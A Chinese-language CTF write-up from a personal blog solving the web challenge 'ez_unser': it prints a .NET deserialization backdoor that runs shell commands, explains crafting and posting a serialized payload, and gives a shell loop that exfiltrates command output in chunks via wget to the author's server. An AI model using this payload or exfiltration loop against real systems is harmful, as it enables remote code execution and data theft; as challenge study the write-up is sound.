ez_unser


Web - ez_unser Writeup

分析附件

这一看就是咱学校出的题var user = new Employee("Test","JNU",111m);

在Models/BinaryData.cs找到RCE后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[OnDeserialized]
private void OnDeserialized(StreamingContext context)
{
if (!string.IsNullOrEmpty(Data) && Type == "command")
{
try
{
var process = new Process();
process.StartInfo.FileName = "/bin/sh";
process.StartInfo.Arguments = $"-c \"{Data}\"";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception ex)
{
...省略...
}
}
}

可知 需要构造符合的BinaryData字节流 type=command
复制粘贴EmploymentSystem.models命名空间 创建对象然后序列化
dotnet run阻止运行 警告SYSLIB0011 所以需要添加#pragma warning disable SYSLIB0011
生成payload

POST payload到 /Employee/ser 服务端报错未知AssemblyName
将.csproj文件里的AssemblyName字段值改为EmployeeSystem与服务端一致
改AssemblyName

返回Object of type EmployeeSystem.Models.BinaryData processed successfully 说明RCE成功
拿出我在secret题目科研出的RCE无回显通解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 将命令回显赋值给o
o=$(任意命令 2>&1)

s=1
while true; do
# 从命令回显第s字符开始 往后取200字符
# 200是GET参数长度上限
c=$(echo "$o" | cut -c $s-$((s+199)))

# 若取到的字符串为空 跳出循环
[ -z "$c" ] && break

# 将取到的字符串作为GET请求发送到我服务器
wget "http://服务器IP/$c"

# 继续处理下一段200个字符
s=$((s+200))
done

绝杀

感谢出题人审阅 辛苦了


文章作者: 菜叶片
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 菜叶片 !
  目录